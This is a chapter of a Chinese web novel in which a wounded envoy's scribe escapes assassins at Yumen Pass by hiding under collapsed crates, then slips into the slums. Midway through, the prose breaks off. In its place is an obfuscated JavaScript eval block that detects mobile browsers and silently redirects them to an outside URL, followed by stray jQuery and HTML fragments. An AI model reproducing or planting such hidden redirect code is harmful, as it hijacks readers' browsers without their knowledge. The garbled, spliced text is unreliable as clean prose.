默认冷灰
24号文字
方正启体

23. 临危不惧(3)

作者:繁星昭月本书字数:K更新时间:
    门后的眼睛上下打量着她,似乎在判断她话语的真伪和危险性。


    年昭月心脏砰砰直跳,脸上却维持着惊恐无助的表情。


    终于,门缝开大了一些,一个穿着旧羊皮袄、须发皆白、身形佝偻的老者出现在门口。他看了看年昭月,又警惕地扫了一眼空荡荡的街道,低声道:“进来吧,快!”


    年昭月如蒙大赦,连忙闪身进去。


    老者迅速关上门,重新落闩。


    货栈内光线昏暗,弥漫着一股皮革和尘土混合的气味。货架上零星摆放着一些皮料,看起来生意颇为清淡。


    “姑娘是使团的人?”老者转过身,那双看似浑浊的眼睛此刻却锐利地看向年昭月。


    “是……晚辈姓年,是使团文书。”年昭月依旧保持着惊魂未定的模样,微微喘息着答道。


    “使团如今何在?关内为何突然大乱?”老者追问,语气急促。


    “晚辈不知……我们刚进关门洞,就遇到落石,然后……然后就有人厮杀起来,像是兵卒,又像是匪徒……晚辈趁乱跑了出来,实在不知发生了什么。”年昭月半真半假地描述着,目光却不着痕迹地扫过老者的双手,布满老茧,指节粗大,不像是纯粹经商的老人。


    老者眉头紧锁,沉吟道:“落石?厮杀……难道赵将军他……”他话说到一半,猛地顿住,警惕地看了年昭月一眼,改口道:“姑娘暂且在此躲避,不要出声。外面情况不明,老夫出去打听一下。”


    说完,他不等年昭月回应,便快步走向货栈后院。


    年昭月看着他离去的背影,心中疑窦更深。这老者反应太快,对关内守将直呼其姓,似乎知道些什么。他真的是“驼铃”吗?


    她不动声色地移动脚步,靠近通往后院的门帘,凝神倾听。


    后院似乎并无他人。老者并没有立刻离开,而是传来一阵极其轻微的、类似挪动重物的声音,以及鸽子扑棱翅膀的响动。


    他在传递消息!


    年昭月心念急转。无论这老者是敌是友,此地不宜久留!


    她不再犹豫,转身便想离开货栈。然而,就在她伸手去拉门闩的瞬间。


    “砰!”


    货栈的大门被人从外面猛地撞开!木屑纷飞!


    几名手持钢刀、身穿普通百姓服饰、眼神却凶狠凌厉的汉子冲了进来!为首一人,脸上带着一道狰狞的刀疤,目光瞬间锁定了站在门后的年昭月!


    “找到她了!拿下!”刀疤脸厉声喝道。


    年昭月瞳孔骤缩!这些人不是官兵!是“青蚨”的杀手!他们竟然这么快就找上门了!是那老者告密?


    来不及细想,两名杀手已狞笑着扑了上来,刀光直取她要害!


    退路已断!


    年昭月在门被撞开的瞬间已心生警兆,身体本能地向后急仰,同时右手“残月”出鞘,划出一道冰冷的弧线,直刺冲在最前那名杀手的手腕!


    “嗤啦——”


    衣袖破裂,血光迸现!那杀手惨叫一声,钢刀脱手。


    但另一名杀手的刀锋已至!年昭月旧力已尽,新力未生,眼看就要被劈中!


    千钧一发之际,她左手猛地抓起旁边货架上的一卷厚重皮料,狠狠朝对方砸去!


    “嘭!”


    皮料挡住了大部分力道,但刀锋的余势仍在她左臂上划开一道血口,火辣辣地疼。


    年昭月借力向后翻滚,撞翻了几个货架,杂物噼里啪啦散落一地,暂时阻碍了杀手的追击。


    “妈的!抓住她!”刀疤脸怒骂,几人绕过杂物,再次逼近。


    年昭月背靠墙壁,呼吸急促,左臂鲜血直流,染红了青色的官服。她目光飞速扫过货栈内部,除了大门,只有通往后院的那道门帘!


    别无选择!


    她猛地转身,扑向那道门帘!


    “想跑?!”刀疤脸狞笑,手腕一抖,一枚飞镖带着尖啸射向她的后心!


    年昭月仿佛背后长了眼睛,在飞镖及体的瞬间,身体飞速地向侧面一扭!


    “咚!”飞镖深深钉入了她身旁的门框,尾羽兀自颤抖。


    而她已掀开门帘,滚入了后院!


    后院比前店更加破败,堆满了废弃的货箱和杂物,角落里有一个鸽笼,此刻空空如也。那佝偻老者不见踪影,想必是见势不妙,早已从其他路径溜走。


    果然靠不住!


    年昭月心中冰冷,来不及咒骂,杀手们已追入院中!


    后院空间狭小,更不利于闪躲!


    “看你往哪逃!”刀疤脸和另外两名杀手呈扇形围拢过来,封死了她所有退路。三人眼中闪烁着残忍光芒。


    年昭月背靠着冰冷的院墙,右手紧握“残月”,左臂垂在身侧,鲜血顺着指尖滴落,她脸色苍白,眼神却如同被逼到绝境的母狼,凶狠,冰冷,带着一丝不甘的疯狂。


    难道真要死在这里?


    不!


    她猛地抬头,目光越过杀手,望向他们身后那堵不算太高的后院土墙!


    赌一把!


    她忽然将手中的“残月”朝着刀疤脸猛地掷去!同时身体如同离弦之箭,不是向前,也不是向后,而是向着侧前方一堆码放得较高的废弃货箱冲去!


    “雕虫小技!”刀疤脸轻易挥刀格开飞来的短剑,嗤笑一声。然而,他笑容还未展开,就见年昭月已手脚并用,如同猿猴般敏捷地攀上了那堆摇摇欲坠的货箱顶端!


    她想翻墙?!


    “拦住她!”刀疤脸厉喝。


    两名杀手立刻扑向货箱。


    就在年昭月的手即将够到墙头的瞬间,脚下的货箱因为承受不住重量和剧烈的晃动,轰然倒塌!


    “啊!”年昭月惊叫一声,随着散落的木箱一起向下摔落!


    烟尘弥漫。


    刀疤脸和杀手们立刻围了上去,准备给这顽抗的女人最后一击。


    然而,烟尘稍散,他们却愣住了。


    散落的木箱碎片中,并没有年昭月的身影!


    只有一件被她匆忙扯下、挂在尖锐木茬上的靛青色官服外袍,在风中微微晃动。


    人呢?!


    刀疤脸猛地抬头望向墙头,空空如也!


    “搜!她肯定还在院子里!受了伤跑不远!”刀疤脸又惊又怒,厉声下令。


    而此时,就在那堆倒塌的货箱最底部,一个被几块厚重木板巧妙架空的、极其狭窄的缝隙里,年昭月正紧紧蜷缩着身体,屏住了呼吸。


    她根本没有试图翻墙!那只是一个障眼法!在攀上货箱的瞬间,她就看准了这个因为倒塌而形成的临时藏身之所!掷出“残月”吸引注意,攀爬制造混乱,最终利用货箱倒塌的掩护,金蝉脱壳!


    这是她在北洲风雪和砺锋阁残酷训练中磨砺出的、于绝境中寻找生机的本能!


    她能听到杀手们焦躁的脚步声和翻动杂物的声音近在咫尺,甚至能闻到他们身上散发出的、混合着汗水和血腥的气息。


    心脏在胸腔里狂跳,几乎要撞破肋骨。左臂的伤口因为刚才剧烈的动作和此刻紧绷的姿势,疼痛如同潮水般一阵阵袭来,让她眼前阵阵发黑。


    她死死咬住下唇,不让自己发出一丝声响。


    时间一分一秒地流逝,每一秒都如同在刀尖上煎熬。


    杀手们几乎将后院翻了个底朝天,骂骂咧咧。


    “妈的,真让她跑了?”


    “不可能!受了伤,又没穿外袍,她能跑哪去?”


    “肯定还躲在哪个耗子洞里!”


    就在这时,货栈前店方向,突然传来一阵急促的脚步声和甲胄碰撞的铿锵之声!


    一个洪亮而威严的声音响起:


    “里面的人听着!吾等乃玉门关守军!奉赵将军之命,搜查叛党乱匪!立刻放下兵器,出来受缚!”


    是官兵!终于来了!


    后院里的杀手们顿时一阵骚动。


    “是官兵!”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16809323|190086||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “怎么办?”


    “撤!从后面走!”刀疤脸当机立断。


    杂乱的脚步声迅速朝着后院另一个方向远去,似乎是通往另一条小巷的后门。


    年昭月紧绷的心弦微微一松,但依旧不敢动弹。官兵是敌是友,尚未可知。赵怀安若真与“青蚨”有染,这些官兵恐怕……


    她蜷缩在黑暗狭窄的缝隙里,听着官兵涌入货栈,四处搜查的动静。


    不知过了多久,脚步声和火光渐渐远去,货栈内外很快恢复了寂静,她小心翼翼地从藏身之处爬出来,浑身沾满尘土,左臂伤口狰狞,外袍丢弃,只着中衣,狼狈不堪。但她的眼神,却比任何时候都要明亮,都要警惕。


    玉门关的水,太深了。


    她必须尽快离开这里,找到安全的地方,重新梳理线索。


    她撕下中衣干净的布条,草草包扎了左臂的伤口,捡起掉落在不远处的“残月”短剑,深吸一口气,目光投向那扇被杀手们打开的后门。


    门外,是未知的、依旧危险重重的玉门关街巷。


    但她别无选择。


    迈开脚步,她再次融入了这片混乱之地的阴影之中。


    玉门关的后巷比年昭月想象的更为错综复杂,如同迷宫。她丢弃了显眼的官服外袍,只着沾染血污尘土的中衣,头发散乱,脸上刻意抹了更多灰土,将自己伪装成在混乱中逃难的普通民女。


    左臂的伤口阵阵抽痛,失血带来的眩晕感不时袭来。她紧咬着牙,依靠着在砺锋阁磨砺出的意志力强撑着,每一步都踩得谨慎而迅速。


    她必须尽快找到一个绝对安全的藏身之所,处理伤口,并从这团乱麻中理出头绪。


    她不敢去医馆,也不敢投宿。那些地方太容易暴露。


    凭借着之前强记的玉门关城内布局,她选择专挑最肮脏、最混乱、连巡逻兵卒都不愿轻易踏足的贫民区穿行。


    这里的空气浑浊不堪,混合着粪便、腐烂食物和劣质酒水的刺鼻气味。蜷缩在角落里的乞丐,眼神麻木或贪婪;偶尔有醉醺醺的汉子晃过,不怀好意地打量着她。


    年昭月握紧袖中的“残月,眼神冰冷如刀,与她对视者,大多被那眼中的戾气所慑,悻悻移开目光。


    在一个堆满破筐烂篓的死角,她终于找到了一个理想的地点。一个半塌的、被废弃的土坯房,入口被杂物堵了大半,不易察觉。她费力地扒开一个仅容一人钻入的缺口,闪身进去。


    里面空间狭小,黑暗,充斥着霉味和动物的臊气,但至少暂时安全。


    她瘫坐在地,背靠着冰冷的土墙,剧烈地喘息着。冷汗浸湿了单薄的中衣,紧贴在皮肤上,带来一阵阵寒意。左臂的伤口因为一路奔波,又开始渗血。


    必须尽快处理伤口。


    她撕下中衣相对干净的内衬,借着从墙壁裂缝透入的微弱天光,检查伤口。刀口不深,但皮肉外翻,需要清洗和包扎。没有清水,没有伤药。


    她目光落在角落一些干燥的、不知名的苔藓和尘土上。别无他法。她抓起一把相对干净的尘土,咬紧牙关,猛地按在伤口上!


    “呃!”剧烈的刺痛让她闷哼一声,身体不受控制地颤抖起来。这是最原始、也最危险的止血方式,极易感染,但她别无选择。


    用布条死死勒住伤口后,她几乎虚脱。靠在墙上,她强迫自己冷静下来,思考现状。


    使团情况不明,生死未卜。


    陆铮是敌是友,难以判断。


    “青蚨”的杀手仍在搜寻她。


    玉门关守将赵怀安疑似与“黑风”部及“青蚨”勾结。


    “驼铃”据点暴露,不可再用。


    她需要信息。需要知道使团的下落,需要确认赵怀安的立场。


    她休息了片刻,积攒了一些力气,将散乱的头发用布条重新束好,尽量让自己看起来不那么扎眼。然后,她再次钻出废墟,如同阴影般,融入了玉门关黄昏时分愈发混乱的街巷之中。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)